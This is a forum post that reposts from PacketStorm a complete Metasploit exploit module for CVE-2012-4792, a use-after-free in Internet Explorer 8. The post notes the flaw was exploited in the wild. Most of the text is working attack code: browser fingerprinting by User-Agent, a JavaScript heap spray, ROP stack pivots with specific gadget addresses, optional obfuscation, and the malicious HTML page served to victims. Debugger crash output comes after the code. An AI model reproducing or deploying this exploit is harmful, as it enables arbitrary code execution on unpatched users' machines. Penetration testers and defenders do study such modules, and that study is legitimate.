Praetorian503 Posted December 31, 2012 Report Posted December 31, 2012 This Metasploit module exploits a vulnerability found in Microsoft Internet Explorer. A use-after-free condition occurs when a CButton object is freed, but a reference is kept and used again during a page reload, an invalid memory that's controllable is used, and allows arbitrary code execution under the context of the user. Please note: This vulnerability has been exploited in the wild targeting mainly China/Taiwan/and US-based computers.### This file is part of the Metasploit Framework and may be subject to# redistribution and commercial restrictions. Please see the Metasploit# Framework web site for more information on licensing and terms of use.# http://metasploit.com/framework/##require 'msf/core'class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::RopDb def initialize(info={}) super(update_info(info, 'Name' => "Microsoft Internet Explorer CDwnBindInfo Object Use-After-Free Vulnerability", 'Description' => %q{ This module exploits a vulnerability found in Microsoft Internet Explorer. A use-after-free condition occurs when a CButton object is freed, but a reference is kept and used again during a page reload, an invalid memory that's controllable is used, and allows arbitrary code execution under the context of the user. Please note: This vulnerability has been exploited in the wild targeting mainly China/Taiwan/and US-based computers. }, 'License' => MSF_LICENSE, 'Author' => [ 'eromang', 'mahmud ab rahman', 'juan vazquez', 'sinn3r' #Metasploit ], 'References' => [ [ 'CVE', '2012-4792' ], [ 'US-CERT-VU', '154201' ], [ 'BID', '57070' ], [ 'URL', 'http://blog.fireeye.com/research/2012/12/council-foreign-relations-water-hole-attack-details.html'], [ 'URL', 'http://eromang.zataz.com/2012/12/29/attack-and-ie-0day-informations-used-against-council-on-foreign-relations/'], [ 'URL', 'http://blog.vulnhunt.com/index.php/2012/12/29/new-ie-0day-coming-mshtmlcdwnbindinfo-object-use-after-free-vulnerability/' ], [ 'URL', 'http://technet.microsoft.com/en-us/security/advisory/2794220' ], [ 'URL', 'http://blogs.technet.com/b/srd/archive/2012/12/29/new-vulnerability-affecting-internet-explorer-8-users.aspx' ] ], 'Payload' => { 'Space' => 980, 'DisableNops' => true, 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 }, 'DefaultOptions' => { 'InitialAutoRunScript' => 'migrate -f' }, 'Platform' => 'win', 'Targets' => [ [ 'Automatic', {} ], [ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => '0x586' } ], # 0x0c0c0b30 [ 'IE 8 on Windows Vista', { 'Rop' => :jre, 'Offset' => '0x586' } ], # 0x0c0c0b30 [ 'IE 8 on Windows Server 2003', { 'Rop' => :msvcrt, 'Offset' => '0x586' } ], # 0x0c0c0b30 [ 'IE 8 on Windows 7', { 'Rop' => :jre, 'Offset' => '0x586' } ] # 0x0c0c0b30 ], 'Privileged' => false, 'DisclosureDate' => "Dec 27 2012", 'DefaultTarget' => 0)) register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) ], self.class) end def get_target(agent) #If the user is already specified by the user, we'll just use that return target if target.name != 'Automatic' nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || '' ie = agent.scan(/MSIE (\d)/).flatten[0] || '' ie_name = "IE #{ie}" case nt when '5.1' os_name = 'Windows XP SP3' when '5.2' os_name = 'Windows Server 2003' when '6.0' os_name = 'Windows Vista' when '6.1' os_name = 'Windows 7' else # OS not supported return nil end targets.each do |t| if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name)) print_status("Target selected as: #{t.name}") return t end end return nil end def ie_heap_spray(my_target, p) js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch)) js_nops = Rex::Text.to_unescape(Rex::Text.rand_text_alpha(4), Rex::Arch.endian(target.arch)) # Land the payload at 0x0c0c0b30 js = %Q| var heap_obj = new heapLib.ie(0x20000); var code = unescape("#{js_code}"); var nops = unescape("#{js_nops}"); while (nops.length < 0x80000) nops += nops; var offset = nops.substring(0, #{my_target['Offset']}); var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length); while (shellcode.length < 0x40000) shellcode += shellcode; var block = shellcode.substring(0, (0x80000-6)/2); heap_obj.gc(); for (var i=1; i < 0x300; i++) { heap_obj.alloc(block); } | js = heaplib(js, {:noobfu => true}) if datastore['OBFUSCATE'] js = ::Rex::Exploitation::JSObfu.new(js) js.obfuscate end return js end def get_payload(t, cli) code = payload.encoded # No rop. Just return the payload. return code if t['Rop'].nil?=beginStack Pivoting to eax:0:008> db eax0c0c0b30 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................0c0c0b40 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................=end # Both ROP chains generated by mona.py - See corelan.be case t['Rop'] when :msvcrt print_status("Using msvcrt ROP") if t.name =~ /Windows XP/ stack_pivot = [0x77c15ed6].pack("V") * 54 # ret stack_pivot << [0x77c2362c].pack("V") # pop ebx, #ret stack_pivot << [0x77c15ed5].pack("V") # xchg eax,esp # ret # 0x0c0c0c0c rop_payload = generate_rop_payload('msvcrt', code, {'pivot'=>stack_pivot, 'target'=>'xp'}) else stack_pivot = [0x77bcba5f].pack("V") * 54 # ret stack_pivot << [0x77bb4158].pack("V") # pop ebx, #ret stack_pivot << [0x77bcba5e].pack("V") # xchg eax,esp # ret # 0x0c0c0c0c rop_payload = generate_rop_payload('msvcrt', code, {'pivot'=>stack_pivot, 'target'=>'2003'}) end else print_status("Using JRE ROP") stack_pivot = [0x7c348b06].pack("V") * 54 # ret stack_pivot << [0x7c341748].pack("V") # pop ebx, #ret stack_pivot << [0x7c348b05].pack("V") # xchg eax,esp # ret # 0x0c0c0c0c rop_payload = generate_rop_payload('java', code, {'pivot'=>stack_pivot}) end return rop_payload end def load_exploit_html(my_target, cli) p = get_payload(my_target, cli) js = ie_heap_spray(my_target, p) html = %Q| <!doctype html> <html> <head> <script> #{js} function exploit() { var e0 = null; var e1 = null; var e2 = null; var arrObject = new Array(3000); var elmObject = new Array(500); for (var i = 0; i < arrObject.length; i++) { arrObject[i] = document.createElement('div'); arrObject[i].className = unescape("ababababababababababababababababababababa"); } for (var i = 0; i < arrObject.length; i += 2) { arrObject[i].className = null; } CollectGarbage(); for (var i = 0; i < elmObject.length; i ++) { elmObject[i] = document.createElement('button'); } for (var i = 1; i < arrObject.length; i += 2) { arrObject[i].className = null; } CollectGarbage(); try { e0 = document.getElementById("a"); e1 = document.getElementById("b"); e2 = document.createElement("q"); e1.applyElement(e2); e1.appendChild(document.createElement('button')); e1.applyElement(e0); e2.outerText = ""; e2.appendChild(document.createElement('body')); } catch(e) { } CollectGarbage(); for(var i =0; i < 20; i++) { arrObject[i].className = unescape("ababababababababababababababababababababa"); } var eip = window; var data = "#{Rex::Text.rand_text_alpha(41)}"; eip.location = unescape("%u0b30%u0c0c" + data); } </script> </head> <body onload="eval(exploit())"> <form id="a"> </form> <dfn id="b"> </dfn> </body> </html> | return html end def on_request_uri(cli, request) agent = request.headers['User-Agent'] uri = request.uri print_status("Requesting: #{uri}") my_target = get_target(agent) # Avoid the attack if no suitable target found if my_target.nil? print_error("Browser not supported, sending 404: #{agent}") send_not_found(cli) return end html = load_exploit_html(my_target, cli) html = html.gsub(/^\t\t/, '') print_status("Sending HTML...") send_response(cli, html, {'Content-Type'=>'text/html'}) endend=begin(87c.f40): Access violation - code c0000005 (first chance)First chance exceptions are reported before any exception handling.This exception may be expected and handled.eax=12120d0c ebx=0023c218 ecx=00000052 edx=00000000 esi=00000000 edi=0301e400eip=637848c3 esp=020bf834 ebp=020bf8a4 iopl=0 nv up ei pl nz na pe nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206mshtml!CMarkup::OnLoadStatusDone+0x504:637848c3 ff90dc000000 call dword ptr <Unloaded_Ed20.dll>+0xdb (000000dc)[eax] ds:0023:12120de8=????????0:008> kChildEBP RetAddr020bf8a4 635c378b mshtml!CMarkup::OnLoadStatusDone+0x504020bf8c4 635c3e16 mshtml!CMarkup::OnLoadStatus+0x47020bfd10 636553f8 mshtml!CProgSink::DoUpdate+0x52f020bfd24 6364de62 mshtml!CProgSink::OnMethodCall+0x12020bfd58 6363c3c5 mshtml!GlobalWndOnMethodCall+0xfb020bfd78 7e418734 mshtml!GlobalWndProc+0x183020bfda4 7e418816 USER32!InternalCallWinProc+0x28020bfe0c 7e4189cd USER32!UserCallWinProcCheckWow+0x150020bfe6c 7e418a10 USER32!DispatchMessageWorker+0x306020bfe7c 01252ec9 USER32!DispatchMessageW+0xf020bfeec 011f48bf IEFRAME!CTabWindow::_TabWindowThreadProc+0x461020bffa4 5de05a60 IEFRAME!LCIETab_ThreadProc+0x2c1020bffb4 7c80b713 iertutil!CIsoScope::RegisterThread+0xab020bffec 00000000 kernel32!BaseThreadStart+0x370:008> reax=0c0c0c0c ebx=0023c1d0 ecx=00000052 edx=00000000 esi=00000000 edi=033e9120eip=637848c3 esp=020bf834 ebp=020bf8a4 iopl=0 nv up ei pl nz na po nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202mshtml!CMarkup::OnLoadStatusDone+0x504:637848c3 ff90dc000000 call dword ptr [eax+0DCh] ds:0023:0c0c0ce8=????????=endSource: PacketStorm Quote
